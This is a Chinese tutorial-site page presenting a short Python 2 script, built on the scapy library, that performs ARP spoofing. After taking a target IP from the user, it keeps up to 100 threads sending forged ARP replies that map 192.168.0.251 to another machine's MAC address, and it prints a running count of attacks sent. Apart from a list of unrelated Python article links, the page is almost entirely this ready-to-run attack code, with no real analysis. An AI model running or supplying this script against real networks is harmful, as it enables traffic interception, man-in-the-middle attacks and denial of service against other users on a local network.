手机
当前位置:查字典教程网 >脚本专栏 >python >python发送arp欺骗攻击代码分析
python发送arp欺骗攻击代码分析
摘要:复制代码代码如下:#-*-coding:cp936-*-fromscapy.allimport*fromthreadingimportThr...

复制代码 代码如下:

# -*- coding: cp936 -*-

from scapy.all import *

from threading import Thread,Lock,activeCount

BROADCASTMAC = getmacbyip('192.168.0.120')

class Loop(Thread):

def __init__(self,ip):

Thread.__init__(self)

self.ip = ip

def run(self):

global BROADCASTMAC

arp = ARP()

arp.psrc = '192.168.0.251'

arp.hwsrc = BROADCASTMAC

arp.pdst = self.ip

arp.op = 2

sr1(arp,verbose = 0,retry = 0,timeout = 3)

class Main(Thread):

def __init__(self,ip):

Thread.__init__(self)

self.ip = ip

def run(self):

limit = 100

total = 0

while True:

if activeCount() < limit:

Loop(self.ip).start()

total = total + 1

print '目前已进行了ARP攻击的次数为:'+str(total)

if __name__ == '__main__':

ip = raw_input('请输入要进行ARP攻击的机器IP:')

Main(ip = ip).start()

【python发送arp欺骗攻击代码分析】相关文章:

python发送邮件的实例代码(支持html、图片、附件)

python切换hosts文件代码示例

python计算最小优先级队列代码分享

python将人民币转换大写的脚本代码

python单链表实现代码实例

python实现的各种排序算法代码

python读文件逐行处理的示例代码分享

python 布尔操作实现代码

python获取豆瓣电影简介代码分享

python发腾讯微博代码分享

精品推荐
分类导航